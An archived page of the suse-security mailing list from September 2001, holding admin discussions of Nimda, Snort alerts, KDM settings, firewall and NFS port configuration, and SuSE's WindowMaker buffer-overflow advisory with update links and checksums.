Hi, you can always ask ARIN (whois whois.arin.net <ip>) or (in Europe) RIPE (whois.ripe.net) it will give you the administrative contact(s) for the netblock the questioned ip is in. I hacked a small shell script which takes an access_log file from my servers, extracts the nimda-type requests, does a lookup of the admin's email and sends him _one_ mail (with URLs pointing to NIMDA informations and how to remove it). Can't tell how successful I was with this attempt, but sent out 350 mails and received no "shut up"... Thomas -----Ursprungliche Nachricht----- Von: Alexey N. Solofnenko [mailto:alexeys@citechlabs.com] Gesendet: Montag, 24. September 2001 22:03 An: suse-security(a)suse.com Betreff: RE: [suse-security] Is it possible to return something, so Nimda would crash? Is it possible to retrieve administrator's email address from IIS? Or there is always a standard admin address. _____ < http://members.home.com/asolofnenko/ > Alexey N. Solofnenko < http://www.inventigo.com/ Inventigo LLC Pleasant Hill, CA (GMT-8 usually) -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com

4 3

[suse-security] snort going mad, portscan against myself...?
by Markus Kohli 24 Sep '01

24 Sep '01

Hi together! I just figured out how to run snort (altough it doesn't start at boot-up, hell knows why...). Now it keeps telling me, that there is a portscan against myself from my machine running. Look at this: [**] [100:1:1] spp_portscan: PORTSCAN DETECTED from 10.0.3.19 (THRESHOLD 4 connections exceeded in 7 seconds) [**] 09/24-23:52:42.477424 [**] [100:2:1] spp_portscan: portscan status from 10.0.3.19: 6 connections across 6 hosts: TCP(5), UDP(1) [**] 09/24-23:53:58.678712 [**] [100:2:1] spp_portscan: portscan status from 10.0.3.19: 1 connections across 1 hosts: TCP(0), UDP(1) [**] 09/24-23:54:03.679551 [**] [100:2:1] spp_portscan: portscan status from 10.0.3.19: 1 connections across 1 hosts: TCP(0), UDP(1) [**] 09/24-23:54:08.689307 [**] [100:2:1] spp_portscan: portscan status from 10.0.3.19: 2 connections across 2 hosts: TCP(1), UDP(1) [**] 09/24-23:55:00.534798 And I swear, I'm not running any nmap or anything similar, and haven't been running since the last reboot... Could anybody help me please? TIA kind regards markus

1 0

security problem with kdm settings
by Bob Vickers 24 Sep '01

24 Sep '01

Hello, I believe I have found a bug in KDE which has minor security implications. Twice now I have found that my local customisations of KDM have disappeared, and this is very irritating. The default KDM settings are not appropriate for terminals in public areas because: (a) a complete list of valid users is displayed (b) the banner includes the word "Welcome", and I have often been advised that you should not welcome users until after they have passed authentication (whether this advice is good is beside the point!). I believe that the settings revert when I install other software; perhaps when SuSEconfig runs. The sequence of events was : (1) start kcontrol, then become root and customise the login process (2) success, login now OK. (2) I noted that my customisation had changed /opt/kde2/share/config/kdmrc so I copied this to a new file /etc/opt/kde2/share/config/kdmrc in the hope of making the change permanent (3) I installed other software (galeon and netscape6). (4) Customisations have been lost, and /opt/kde2/share/config/kdmrc has reverted to default (5) I copied /etc/opt/kde2/share/config/kdmrc to /opt/kde2/share/config/kdmrc and things are OK again (until next time). I may be doing some things wrong, because I can't find any documentation about customising KDE other than the painstakingly slow GUI method. /etc/kderc contains dir_config=/etc/opt/kde2/share/config:/opt/kde2/share/config though my experience suggests this has no effect. I am running kdebase-2.1.1-89 on SuSE 7.2 Bob ============================================================== Bob Vickers R.Vickers(a)cs.rhul.ac.uk Dept of Computer Science, Royal Holloway, University of London WWW: http://www.cs.rhul.ac.uk/home/bobv Phone: +44 1784 443691

4 3

RE: [suse-security] Is it possible to return something, so Nimda
by Michael Sziede 24 Sep '01

24 Sep '01

Excuse me, but a lot of people have short personal messages at the end of their posts. Keep your out-of-context quotes and holier-than-thou "crap" to yourself. -----Original Message----- From: Anders Johansson [mailto:andjoh@cicada.linux-site.net] Sent: Monday, September 24, 2001 1:24 PM To: suse-security(a)suse.com Subject: Re: [suse-security] Is it possible to return something, so Nimda On Monday 24 September 2001 18.55, Wade Chandler wrote: > May God Be With America. USA! Please keep this kind of crap away from technical mailing lists Thank you Anders -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com

3 2

RE: [suse-security] Is it possible to return something, so Nimda
by James Bliss 24 Sep '01

24 Sep '01

I am an American and very patriotic. But, I believe that this line of communication should be stopped. The initial response message was uncalled for and should have been ignored. Please do not get into a ridiculous spat here and lets stay on topic of SuSE at least (if not exclusively security). Thanks, Jim 09/24/01 12:31:01 PM, Michael Sziede <Michael.Sziede(a)trx.com> wrote: >Excuse me, but a lot of people have short personal messages at the end of >their posts. Keep your out-of-context quotes and holier-than-thou "crap" to >yourself. > >-----Original Message----- >From: Anders Johansson [mailto:andjoh@cicada.linux-site.net] >Sent: Monday, September 24, 2001 1:24 PM >To: suse-security(a)suse.com >Subject: Re: [suse-security] Is it possible to return something, so >Nimda > > >On Monday 24 September 2001 18.55, Wade Chandler wrote: >> May God Be With America. USA! > >Please keep this kind of crap away from technical mailing lists > >Thank you >Anders > >-- >To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com >For additional commands, e-mail: suse-security-help(a)suse.com > >-- >To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com >For additional commands, e-mail: suse-security-help(a)suse.com > >

1 0

Re: SuSE Security Announcement: wmaker/WindowMaker
by Mail2News User 24 Sep '01

24 Sep '01

Hello! It is recommended to update wmaker to SuSE-7.0 ftp://ftp.suse.com/pub/suse/i386/update/7.0/xwm1/wmaker-0.62.1-42.i386.rpm but it also exists a Version wmaker-0.62.1-68. Is this Version also affected or is there nor need to "downgrade"? Greetings, Jan Suchanek

4 3

SuSE Security Announcement: wmaker/WindowMaker (SuSE-SA:2001:032)
by Thomas Biege 24 Sep '01

24 Sep '01

-----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: wmaker/WindowMaker Announcement-ID: SuSE-SA:2001:032 Date: Thursday, September 20th 2001 15:10 MEST Affected SuSE versions: (6.0, 6.1, 6.2,) 6.3, 6.4, 7.0, 7.1, 7.2 Vulnerability Type: remote privilege escalation Severity (1-10): 5 SuSE default package: no Other affected systems: all Unix systems running Window Maker < 0.65.1 Content of this advisory: 1) security vulnerability resolved: Window Maker problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion, solution, upgrade information The window manager Window Maker was found vulnerable to a buffer overflow due to improper bounds checking when setting the window title. An attacker can remotely exploit this buffer overflow by using malicious web page titles or terminal escape sequences to set a excessively long window title. This attack can lead to remote command execution with the privileges of the user running Window Maker. A temporary fix does not exist; we recommend to update your system with the new RPM from our FTP server. Please download the update package for your distribution and verify its integrity by the methods listed in section 3) of this announcement. Then, install the package using the command "rpm -Uhv file.rpm" to apply the update. After installing the updated RPM - run /sbin/SuSEconfig (the central configuration utility in SuSE Linux distributions) - restart your window manager. If this is not possible for configura- tional reasons, restart your x-session. i386 Intel Platform: SuSE-7.2 ftp://ftp.suse.com/pub/suse/i386/update/7.2/xwm1/WindowMaker-0.64.0-82.i386… 0f5508e10089deecf34b51ab8c007bbf source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/WindowMaker-0.64.0-82.src.r… 6472b87eb8a841d5cefe4f0889f9b4e1 SuSE-7.1 ftp://ftp.suse.com/pub/suse/i386/update/7.1/xwm1/WindowMaker-0.62.1-25.i386… 39c69fab92923eca0cf1f0e077232fef source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/WindowMaker-0.62.1-25.src.r… a8c32f85125bbe7bf041335100e447b8 SuSE-7.0 ftp://ftp.suse.com/pub/suse/i386/update/7.0/xwm1/wmaker-0.62.1-42.i386.rpm d825fa6cd78643e880bb89464594a464 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/wmaker-0.62.1-42.src.rpm bd6e55a9b16e836065f59b4dc824416f SuSE-6.4 ftp://ftp.suse.com/pub/suse/i386/update/6.4/xwm1/wmaker-0.61.1-59.i386.rpm 7de5a334c4fbbeb6ef3d79d197a585c1 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/wmaker-0.61.1-59.src.rpm 4471d22b705b8b24a1808729a32d1764 SuSE-6.3 ftp://ftp.suse.com/pub/suse/i386/update/6.3/xwm1/wmaker-0.61.1-59.i386.rpm 8c8453b37e7b69008be2be4929a62d80 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.3/zq1/wmaker-0.61.1-59.src.rpm 0c96f81234e787a48b8d2df4e698843a Sparc Platform: SuSE-7.1 ftp://ftp.suse.com/pub/suse/sparc/update/7.1/xwm1/WindowMaker-0.62.1-17.spa… c19bc73ccc235bbd35d1e8953cfbabbb source rpm: ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/WindowMaker-0.62.1-17.src.… e60425cb8ae38b16a3aac3fa23a6c54f SuSE-7.0 ftp://ftp.suse.com/pub/suse/sparc/update/7.0/xwm1/wmaker-0.62.1-2.sparc.rpm 9f0a23eddb8b9dbfc07288871388ff34 source rpm: ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/wmaker-0.62.1-2.src.rpm a95d995b1ea164b8c93a9fc308f703d1 AXP Alpha Platform: SuSE-7.1 ftp://ftp.suse.com/pub/suse/axp/update/7.1/xwm1/WindowMaker-0.62.1-23.alpha… 55cf56c7bea8fa3e9cf7ca2c90457249 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/WindowMaker-0.62.1-23.src.rpm 7b5bc50ad9e854dc2858a1b0a08385d5 SuSE-7.0 ftp://ftp.suse.com/pub/suse/axp/update/7.0/xwm1/wmaker-0.62.1-5.alpha.rpm 6e7e01c1a1ef1e2ac751638dd7e31d21 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/7.0/zq1/wmaker-0.62.1-5.src.rpm 2ee34d67aba5c06878623e3ca50f47d1 SuSE-6.4 ftp://ftp.suse.com/pub/suse/axp/update/6.4/xwm1/wmaker-0.61.1-57.alpha.rpm dcbfdaf729cb823046f3dc6e913fcf1b source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/wmaker-0.61.1-57.src.rpm 3d045c4fd65d2ce9b69a1890d71fd59a SuSE-6.3 ftp://ftp.suse.com/pub/suse/axp/update/6.3/xwm1/wmaker-0.61.1-57.alpha.rpm 6c17c78ef0fe2971b29fe1a2300c4fc3 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.3/zq1/wmaker-0.61.1-57.src.rpm f01b2923ebc6e4e6a52b75e8597cbe50 PPC PowerPC Platform: SuSE-7.1 ftp://ftp.suse.com/pub/suse/ppc/update/7.1/xwm1/WindowMaker-0.62.1-18.ppc.r… 00f099cc26983691641ed041441abfc2 source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/WindowMaker-0.62.1-18.src.rpm 1941b4c46eeb3e4fe4a7e3a1c79ae8a5 SuSE-7.0 ftp://ftp.suse.com/pub/suse/ppc/update/7.0/xwm1/wmaker-0.62.1-49.ppc.rpm f5ef503d073a7e9e34cf28e4eb56fbaa source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/wmaker-0.62.1-49.src.rpm 362468904bd119c44f2c2baa1312a116 SuSE-6.4 ftp://ftp.suse.com/pub/suse/ppc/update/6.4/xwm1/wmaker-0.61.1-56.ppc.rpm 0408f29d40eebf5bbc84bdcf14a03c5f source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/wmaker-0.61.1-56.src.rpm 50c1a727aec53feb76f451854657b6c8 ______________________________________________________________________________ 2) Pending vulnerabilities in SuSE Distributions and Workarounds: - SuSE Linux distributions do not contain the sftp-server as described by Peter W <peterw(a)usa.net> (Message-ID: <20010918082406.M14947(a)usa.net>) on the bugtraq mailing list and are therefore not vulnerable to the problems found. - A new worm called "Nimda" has been reported in the wild. It attacks IIS webservers and uploads a file called "readme.eml" which is being downloaded by the client's browser. Some versions of the Internet Explorer even execute this file without the user's knowledge. A temporary workaround for sites that use a squid proxy to access the internet would be to add these three lines to the /etc/squid.conf file: # filter Nimda worm files: acl nimda urlpath_regex -i \.eml$ acl nimda urlpath_regex -i \.nws$ http_access deny nimda Do not forget to reload your squid server (/usr/sbin/rcsquid reload)! ______________________________________________________________________________ 3) standard appendix: authenticity verification, additional information - Package authenticity verification: SuSE update packages are available on many mirror ftp servers all over the world. While this service is being considered valuable and important to the free and open source software community, many users wish to be sure about the origin of the package and its content before installing the package. There are two verification methods that can be used independently from each other to prove the authenticity of a downloaded file or rpm package: 1) md5sums as provided in the (cryptographically signed) announcement. 2) using the internal gpg signatures of the rpm package. 1) execute the command md5sum <name-of-the-file.rpm> after you downloaded the file from a SuSE ftp server or its mirrors. Then, compare the resulting md5sum with the one that is listed in the announcement. Since the announcement containing the checksums is cryptographically signed (usually using the key security(a)suse.de) the checksums show proof of the authenticity of the package. We advise against subscribing to lists which cause the email message containing the announcement to be modified so that the signature does not match after transport through the mailing list software. Downsides: You must be able to verify the authenticity of the announcement in the first place. If RPM packages are being rebuilt and a new version of a package is published on the ftp server, all md5 sums for the files are useless. 2) rpm package signatures provide an easy way to verify the authenticity of an rpm package. Use the command rpm -v --checksig <file.rpm> to verify the signature of the package, where <file.rpm> is the filename of the rpm package that you have downloaded. Of course, package authenticity verification can only target an uninstalled rpm package file. Prerequisites: a) gpg is installed b) The package is signed using a certain key. The public part of this key must be installed by the gpg program in the directory ~/.gnupg/ under the user's home directory who performs the signature verification (usually root). You can import the key that is used by SuSE in rpm packages for SuSE Linux by saving this announcement to a file ("announcement.txt") and running the command (do "su -" to be root): gpg --batch; gpg < announcement.txt | gpg --import SuSE Linux distributions version 7.1 and thereafter install the key "build(a)suse.de" upon installation or upgrade, provided that the package gpg is installed. The file containing the public key is placed at the toplevel directory of the first CD (pubring.gpg) and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de . - SuSE runs two security mailing lists to which any interested party may subscribe: suse-security(a)suse.com - general/linux/SuSE security discussion. All SuSE security announcements are sent to this list. To subscribe, send an email to <suse-security-subscribe(a)suse.com>. suse-security-announce(a)suse.com - SuSE's announce-only mailing list. Only SuSE's security annoucements are sent to this list. To subscribe, send an email to <suse-security-announce-subscribe(a)suse.com>. For general information or the frequently asked questions (faq) send mail to: <suse-security-info(a)suse.com> or <suse-security-faq(a)suse.com> respectively. =================================================== SuSE's security contact is <security(a)suse.com>. The <security(a)suse.com> public key is listed below. =================================================== ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. In particular, it is desired that the cleartext signature shows proof of the authenticity of the text. SuSE GmbH makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. Type Bits/KeyID Date User ID pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team <security(a)suse.de> pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <build(a)suse.de> - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org mQENAzbhLQQAAAEIAKAkXHe0lWRBXLpn38hMHy03F0I4Sszmoc8aaKJrhfhyMlOA BqvklPLE2f9UrI4Xc860gH79ZREwAgPt0pi6+SleNFLNcNFAuuHMLQOOsaMFatbz JR9i4m/lf6q929YROu5zB48rBAlcfTm+IBbijaEdnqpwGib45wE/Cfy6FAttBHQh 1Kp+r/jPbf1mYAvljUfHKuvbg8t2EIQz/5yGp+n5trn9pElfQO2cRBq8LFpf1l+U P7EKjFmlOq+Gs/fF98/dP3DfniSd78LQPq5vp8RL8nr/o2i7jkAQ33m4f1wOBWd+ cZovrKXYlXiR+Bf7m2hpZo+/sAzhd7LmAD0l09kABRG0JVN1U0UgU2VjdXJpdHkg VGVhbSA8c2VjdXJpdHlAc3VzZS5kZT6JARUDBRA24S1H5Fiyh7HKPEUBAVcOB/9b yHYji1/+4Xc2GhvXK0FSJN0MGgeXgW47yxDL7gmR4mNgjlIOUHZj0PEpVjWepOJ7 tQS3L9oP6cpj1Fj/XxuLbkp5VCQ61hpt54coQAvYrnT9rtWEGN+xmwejT1WmYmDJ xG+EGBXKr+XP69oIUl1E2JO3rXeklulgjqRKos4cdXKgyjWZ7CP9V9daRXDtje63 Om8gwSdU/nCvhdRIWp/Vwbf7Ia8iZr9OJ5YuQl0DBG4qmGDDrvImgPAFkYFzwlqo choXFQ9y0YVCV41DnR+GYhwl2qBd81T8aXhihEGPIgaw3g8gd8B5o6mPVgl+nJqI BkEYGBusiag2pS6qwznZiQEVAwUQNuEtBHey5gA9JdPZAQFtOAf+KVh939b0J94u v/kpg4xs1LthlhquhbHcKNoVTNspugiC3qMPyvSX4XcBr2PC0cVkS4Z9PY9iCfT+ x9WM96g39dAF+le2CCx7XISk9XXJ4ApEy5g4AuK7NYgAJd39PPbERgWnxjxir9g0 Ix30dS30bW39D+3NPU5Ho9TD/B7UDFvYT5AWHl3MGwo3a1RhTs6sfgL7yQ3U+mvq MkTExZb5mfN1FeaYKMopoI4VpzNVeGxQWIz67VjJHVyUlF20ekOz4kWVgsxkc8G2 saqZd6yv2EwqYTi8BDAduweP33KrQc4KDDommQNDOXxaKOeCoESIdM4p7Esdjq1o L0oixF12CohGBBARAgAGBQI7HmHDAAoJEJ5A4xAACqukTlQAoI4QzP9yjPohY7OU F7J3eKBTzp25AJ42BmtSd3pvm5ldmognWF3Trhp+GZkBogQ57vSBEQQAk/GN+ftr 7+DBlSoixDDpfRnUk+jApGEt8hCnrnjVnPs/9Cr33+CXLQbILOO7Y5oiPbJdHh45 t4E0fKyLVzDerCRFB1swz/mNDxT26DLysdBV5fwNHTPhxa67goAZVrehQPqJEckk IpYriOaYcKpF3n5fQIZMEfMaHEElQhcXML8AoJVXDkJYh7vI8EUB8ZURNLZMEECN A/sH0MCnb4Q6ZcRyeZ3+1PHP8hP73b6TepRdLZhaylwVF/iu7uIn62ZUL4//NTOC DY7V63qg4iba/fUbOsWtEnGaiE7mQuAlsSWvRspwRA9/g9rdVf3/JdLJrLmKBThe yG+PSJE3W7cAE4ZWafGxIRCwXhmj3TQnJn2euqylHRubEQP/aL53NZK0kBdvrKgf f6O8Of6tqoss8Dkk55I7QVFSp+My1Dn+mngQKFejTAgtyo/WmR3wPjQ9HoT2lRiY I2lTRYT4uMdHuwVC3b4DqAKmoy375FERwHkrMVyKBJslv8QtbAWw5A1CAUseaHo+ 91wmYJ4/4p6YUahqbG/tZyhbxfq0KFN1U0UgUGFja2FnZSBTaWduaW5nIEtleSA8 YnVpbGRAc3VzZS5kZT6IXAQTEQIAHAUCOe70gQUJA8JnAAQLCgMEAxUDAgMWAgEC F4AACgkQqE7a6JyACspfLACffAYA+NM8NBhyRyH+nTX58CNjwLIAoIx9fj52BJe0 xY7WbKoXs1+72b2AiEYEEBECAAYFAjpwXlIACgkQnkDjEAAKq6TczgCgi+ddhWb7 +FWcfeE6WwPZccqAHowAnjjtRyGwHLQHr5OTFAYTXi2Wv6jNiQEVAwUQOnBgb3ey 5gA9JdPZAQE1pwf/QJ+b34lFBNVUJ7fk/xGJJREt7V12iSafaRzGuH8xWvIz1bb+ VARxnnt16FDQ1cDNjoEhCEmcW83Vxp6iJXE9PE8wVA/Yue/bon5JS7J69+UiQ2eq 2pudfwljp52lYVM53jgPYEz0q/v3091nlZ8CYkAkN9JDS1lV1gEzJ7J0+POngDpU +lDQT2EC6VKaxeWK8pNt6UFDwICRDQxKnlOoiDvTrdWT7QdJZ4sPv8Qotdw9+tKN bWQ2DqdIRxyTdw9xDfAtcj6mXeQr7852Lwem1gSKVnEYHZ9g1FTJqVOutY8KhpUc 9RfOCRv8XuIxrs4KSbfSF0s8qIRCQelxufg9AbkCDQQ57vSSEAgAhJHQTejMX+Vr 6g1pHDEcusJ63fQ2CfFFE5iE9okH9O7UVCiSfb9CV38dmeHdPCEEjDUWquFYEnvj 3WICMtH249t1Ymuf4Du3yRKQ9oXdn/qTJzlrx9qzjiG3mH7ocwHOgUIwCrZoEdBE VE2n0zPVm+hddwjWWTWXw6pxQz+i9dsN89xexRV5M9O0bNwCLaNWX2GXeLAkqTK/ 9EuZy6x2yLxi6du9YYUAXkZpqBhCjtiUXpRoFCdglMznbcAyCk9C2wqb2j/D1Z2B eSBaGCSFkR6pRLebnE17LWcu72Iy+r0z+JecbPiyDpDZj4apn7IC81aNFGi7fNIT sHODbwwjiwADBgf/YPvVdzkc8OC7ztacEWCanwylKvxCdKzTDA+DfES6WUYShyiV JvZzRy25LJ5WcK20kzOS6Qv1OrIXiz/pdGy1aKtJZrAnFEsofpmOj8VoqyyFgp/y AGQBp12+mXek7SCZRhuqalDfEMRiWEJ6J5dLkyShyRDWyPbFh0HXE7QTHN+IKKxx QqNQXL6Z3NSxS61p+5n6BseiDUI39xxkKTFwFrkgUIc5Gs2Or2lhaWvGwSfoCmwb sklszZt6xbU+R0SjFqTvjPWx6eHfqbmNC9WMDdTjGrXDDKXFp2aYlokfN6It9vsb VlGNlOwHt/JjGoPMxW6Xqj0FLA7/VewgCdXW64hMBBgRAgAMBQI57vSSBQkDwmcA AAoJEKhO2uicgArKSyIAmwUHf/vtKQfcmVg4asR7U6XQl0bAAJ4pO22B5U8UH6IY l2LBCXFqw5+5fA== =Jnnf - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: 2.6.3in Charset: noconv iQEVAwUBO6oaPXey5gA9JdPZAQEacAf9HZ7Xhi0Yxe+9Z6VfHoJN/6LpMa2yMo6d Oj891kR/i/UhsXy/u5ua1vNoWzR/TyZn8Jv0ctrDWsWQ7aJBguiQITscG5P8epeI +L5NebIwsWQBTCnWtu6H8Q1ivvPyGsObO3AE5i8gInzFsmLFmJYbg9MKi0c3fmHq enBTZ4+81PbJF2DVrpYfnO/9UG4nbgtuHM8+ypQ9d6LlZl3WMj/hOjzG+g+BRnyN 3uyNz8r/DtKyYq3xF7KNh+j8SQ4jdQuEvIaS52Nhq6UAAyCT29SpR8KM4CUFhuq4 szuJBVDlHlBu+xZ8U5iQCzZkxCrC+NPirKOh51iI3T0A0olVlr+gjw== =lRUF -----END PGP SIGNATURE----- Bye, Thomas -- Thomas Biege, SuSE GmbH, Schanzaeckerstr. 10, 90443 Nuernberg E@mail: thomas(a)suse.de Function: Security Support & Auditing "lynx -source http://www.suse.de/~thomas/contact/thomas.asc | pgp -fka" Key fingerprint = 51 AD B9 C7 34 FC F2 54 01 4A 1C D4 66 64 09 84

3 3

router / ipchains
by Michael Neumann 22 Sep '01

22 Sep '01

Hi all! I want to protect our network with a firewall that should run on a SuSE machine (kernel 2.2 stable). There is a router that provides a permantent DSL connection to the net. Normaly this router is the gateway for all machines on the local net - but not I want to put a firewall between. The network has official ip addresses and all machines shall use these, which means that I do not want to have masquerading. So I have put the firewall machine between router and local net. I have switched on ip_forwarding and - for testing - have set up all ipchains to ACCEPT. Now it should route/forward everything, yes? But it doesn't. I can ping the firewall machine both from outside and from inside. But I cannot reach another host in the network from outside (and the other way around). When I try to ping a host in the network from outside I get a answer from my dsl router that this host is not reachable. Maybe the problem is here, I don't know... Do you have an idea? Thanx a lot! Michael

7 7

Re: [suse-security] nfs on susefirewall2
by Purple Shirt 22 Sep '01

22 Sep '01

Ok I got nfs server on firewall working with the following ports (portmap 111, mount 635, nfsd-status and nfsd-keepalive 1110, NFS 2049) in play. Some may not be required but this is as far as I got it now functional. FW_SERVICES_INT_TCP="smtp domain ftp ssh www telnet 111 139 635 1110 2049" FW_SERVICES_INT_UDP="domain 111 635 1110 2049" mk >From: "Purple Shirt" <purpleshirt(a)hotmail.com> >To: suse-security(a)suse.com >Subject: [suse-security] nfs on susefirewall2 >Date: Fri, 21 Sep 2001 07:18:35 >MIME-Version: 1.0 >X-Originating-IP: [144.132.216.228] >Received: from [202.58.118.7] by hotmail.com (3.2) with ESMTP id >MHotMailBD74350300AC4136E817CA3A76070A8B0; Fri, 21 Sep 2001 00:19:31 -0700 >Received: (qmail 5469 invoked by alias); 21 Sep 2001 07:18:06 -0000 >Received: (qmail 5460 invoked from network); 21 Sep 2001 07:18:05 -0000 >From suse-security-return-9213-purpleshirt Fri, 21 Sep 2001 00:20:06 -0700 >Mailing-List: contact suse-security-help(a)suse.com; run by ezmlm >Precedence: bulk >X-No-Archive: yes >List-Post: <mailto:suse-security@suse.com> >List-Help: <mailto:suse-security-help@suse.com> >List-Unsubscribe: <mailto:suse-security-unsubscribe@suse.com> >List-Subscribe: <mailto:suse-security-subscribe@suse.com> >X-Mailinglist: suse-security >Delivered-To: mailing list suse-security(a)suse.com >Message-ID: <F112uylJc0xvlUQ9cAg00000821(a)hotmail.com> >X-OriginalArrivalTime: 21 Sep 2001 07:18:35.0273 (UTC) >FILETIME=[A061FF90:01C1426D] > >Hello, > >I have a working nfs server on susefirewall2 box (suse 7.2). I know its >working because I put the firewall on unprotect status. If I put it on >protect status for internal I can't mount internally. I put this into >susefirewall2.rc.config: > ># Common: ssh smtp domain >FW_SERVICES_INT_TCP="smtp domain ftp ssh www telnet 111 139 2049" ># Common: domain syslog >FW_SERVICES_INT_UDP="111 2049" ># For VPN/Routing which END at the firewall!! >FW_SERVICES_INT_IP="" > >This o[pens up portmap and nfs server ports, 111 and 2049. But it doesn't >work. > >Maybe the firewall script should contain more options as: > >FW_SERVICE_DNS="no" >FW_SERVICE_DHCLIENT="no" >FW_SERVICE_DHCPD="yes" >FW_SERVICE_SQUID="yes" >FW_SERVICE_SAMBA="yes" > >as in > >FW_SERVICE_NFS >FW_SERVICE_NTPD >... >... > >Well I'd appreciate comments on how to make suse's firewall work with nfs. > >Thanks, > >mk > > > >_________________________________________________________________ >Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp > > >-- >To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com >For additional commands, e-mail: suse-security-help(a)suse.com > _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp

1 0

Interesting Returned Mail
by Togan Muftuoglu 22 Sep '01

22 Sep '01

Hi, Could someone possible explain me what's going. I know it's basicly a mail delivery problem yet for a mail that I send out 29 July 2001 its a little bit late :-) I have another one similar to this one also TIA -- Togan Muftuoglu From: Mail Delivery Subsystem <MAILER-DAEMON(a)relay.uni-heidelberg.de> Subject: Returned mail: see transcript for details Auto-Submitted: auto-generated (failure) The original message was received at Fri, 21 Sep 2001 16:58:22 +0200 (MET DST) from anatomy1.ana.uni-heidelberg.de [129.206.158.170] ----- The following addresses had permanent fatal errors ----- <svweimann(a)zellbio.ana.uni-heidelberg.de> (reason: 550 5.1.1 <svweimann(a)zellbio.ana.uni-heidelberg.de>... User unknown) ----- Transcript of session follows ----- ... while talking to zellbio.ana.uni-heidelberg.de.: >>> RCPT To:<svweimann(a)zellbio.ana.uni-heidelberg.de> <<< 550 5.1.1 <svweimann(a)zellbio.ana.uni-heidelberg.de>... User unknown 550 5.1.1 <svweimann(a)zellbio.ana.uni-heidelberg.de>... User unknown Reporting-MTA: dns; relay.uni-heidelberg.de Received-From-MTA: DNS; anatomy1.ana.uni-heidelberg.de Arrival-Date: Fri, 21 Sep 2001 16:58:22 +0200 (MET DST) Final-Recipient: RFC822; svweimann(a)zellbio.ana.uni-heidelberg.de Action: failed Status: 5.1.1 Remote-MTA: DNS; zellbio.ana.uni-heidelberg.de Diagnostic-Code: SMTP; 550 5.1.1 <svweimann(a)zellbio.ana.uni-heidelberg.de>... User unknown Last-Attempt-Date: Fri, 21 Sep 2001 16:58:30 +0200 (MET DST) Return-Path: <toganm(a)users.sourceforge.net> Received: from anaserv.ana.uni-heidelberg.de (anatomy1.ana.uni-heidelberg.de [129.206.158.170]) by relay.uni-heidelberg.de (8.10.2+Sun/8.10.2) with ESMTP id f8LEw4l01566 for <svweimann(a)zellbio.ana.uni-heidelberg.de>; Fri, 21 Sep 2001 16:58:22 +0200 (MET DST) Received: from localhost (shire.ana.uni-heidelberg.de [127.0.0.1]) by anaserv.ana.uni-heidelberg.de (8.11.2/8.11.3) with ESMTP id f8LEw6405738 for <svweimann@localhost>; Fri, 21 Sep 2001 16:58:06 +0200 X-Envelope-From: <suse-security-return-8264-linux=sven-weimann.de(a)suse.com> X-Envelope-To: <linux(a)sven-weimann.de> X-Delivery-Time: 996426626 Received: from post.strato.de [192.67.198.79] by localhost with POP3 (fetchmail-5.7.4) for svweimann@localhost (single-drop); Fri, 21 Sep 2001 16:58:06 +0200 (CEST) Received: from lists2.suse.com (lists2.suse.com [202.58.118.7]) by post.webmailer.de (8.9.3/8.8.7) with SMTP id TAA23173 for <linux(a)sven-weimann.de>; Sun, 29 Jul 2001 19:10:25 +0200 (MET DST) Received: (qmail 21007 invoked by alias); 29 Jul 2001 17:07:30 -0000 Mailing-List: contact suse-security-help(a)suse.com; run by ezmlm Precedence: bulk X-No-Archive: yes List-Post: <mailto:suse-security@suse.com> List-Help: <mailto:suse-security-help@suse.com> List-Unsubscribe: <mailto:suse-security-unsubscribe@suse.com> List-Subscribe: <mailto:suse-security-subscribe@suse.com> X-Mailinglist: suse-security Delivered-To: mailing list suse-security(a)suse.com Received: (qmail 20998 invoked from network); 29 Jul 2001 17:07:30 -0000 X-Authentication-Warning: isguzar.dyndns.org: toganm set sender to toganm(a)users.sourceforge.net using -f Date: Sun, 29 Jul 2001 20:04:04 +0300 From: Togan Muftuoglu <toganm(a)users.sourceforge.net> To: Suse-Security <suse-security(a)suse.com> Message-ID: <20010729200404.A3333(a)rc82.org> Mail-Followup-To: Suse-Security <suse-security(a)suse.com> References: <20010729121024.A530(a)rc82.org> <01072917452500.07003@triton> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <01072917452500.07003@triton> Subject: Re: [suse-security] best method to block ip block ----- End forwarded message -----

5 4

Re: [suse-security] security problem with kdm settings
by Bob Vickers 21 Sep '01

21 Sep '01

